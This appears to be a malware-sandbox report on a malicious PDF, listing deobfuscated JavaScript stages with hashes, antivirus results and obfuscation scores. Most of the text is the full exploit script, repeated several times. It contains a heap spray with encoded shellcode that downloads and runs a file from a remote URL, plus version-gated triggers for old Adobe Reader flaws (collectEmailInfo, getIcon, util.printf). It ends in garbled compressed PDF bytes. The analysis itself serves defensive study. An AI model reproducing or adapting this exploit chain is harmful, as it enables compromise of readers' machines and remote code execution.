Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\"%09\");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"%45000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
generic_stage_recovery_007.js deobfuscated-js generic stage recovery null-collapse -> percent-decode from JavaScript object 18 at offset 0x36AE 5994 bytes
SHA-256: 7fdbef5ea7b1b1afe2e79ba74c0cfed3bfbedf81cc62cdf4e1318f908063de26
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
��function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\"	\");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"E000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'e'+'v'+'a'+'l';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
generic_stage_recovery_008.js deobfuscated-js generic stage recovery split-literal-normalize -> percent-decode from decompressed stream at 0x36AE at offset 0x36AE 5983 bytes
SHA-256: 8aee547a0d555f3bbea9081eda63036588b83b1ca490dd391832daa0ba5845f0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\"	\");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"E000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
generic_stage_recovery_009.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from raw PDF metadata at offset 0x0 21674 bytes
SHA-256: 237f4d9ca2673cd60ef44d5f2de85031c7a8b291ac5ff7b81614ca824846b802
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2739>>
stream
x�͛M�۸ ���+�j/�!4E�3�8�l�U�d�Nm%[{I�� $89 ��� 53Ќ$J /��%��/� ���n�a0[ІB���-�� ���� ����gz��� A ������n����k4��A��WB�̓���Q0�� � �(��݇	}��ݷcZ�o��#��  
_<��3��"������>g��  .��/��Wj�����G���5_��K�9��'a��vה�.�mx� 3{� ��67� �7� �����/����_ g���q�� "� Ŵ�/�Ɋ*��b���K�D7?�1�pj _y�� g � �3�}N%�3���MM�N��t�0%��g�2-�5U�ՊjMZ�6x=���ئ�` ����;�Y�1�<'�dFwڐfykH2���]� �_��=^�kC�Z�tW5ԖJװ� ���>t UB�%坦� N1� �_��Z4�14�xޖ^͛ �G��ﰆ7�r^��R^��P]�T�{ ��R�  ��\�XWt���b5mJ���y��`�8  YA��lp��s���^ËR�
>V6jt�1�5���� �D#� ��F  �{�0?� j��� �[3]1j�R9�՘* z^
�����  � � ڐi B.eZ���KVqj 𙪧Da ��,���L҆��!�_J� ���Ji� � �Hv�X %��䬡�����n2}^>���'v�1 ���&� ���-�pIR0��\a"Z���HL�Wχ�����
�0��k��{���̧v����(餴!"��Y� �Ɉ ��ۡO%[�Ђ�P��AT�Z�ʮ�{L_W� ��$�z�(��
�h�|�x^.,cB�0�aM� r$괄r&�3��v q�eVw �6v�L��� �R��5� $��cn��6�*�2�)�6H�� ��+�� �Ӳ���]�^Ug�p��I�6*��:!9 \z�5� "`����V[�� y  � X���-U]��� �b$ ��� ��2X�+~
s��ᾧVRf =EXR����-�� �z�_ ��o8��G!3�����'L���ej� Ljƪ �% �F,{��<O *��i�ܱ�$��:�Wy�Ϝ��2 � � <     >@�5��
�_.-^�[*z�@:뽎n��D&�i��-�:#�JI=�Se]  A�p$S��� K  z��O�b'� )�I;
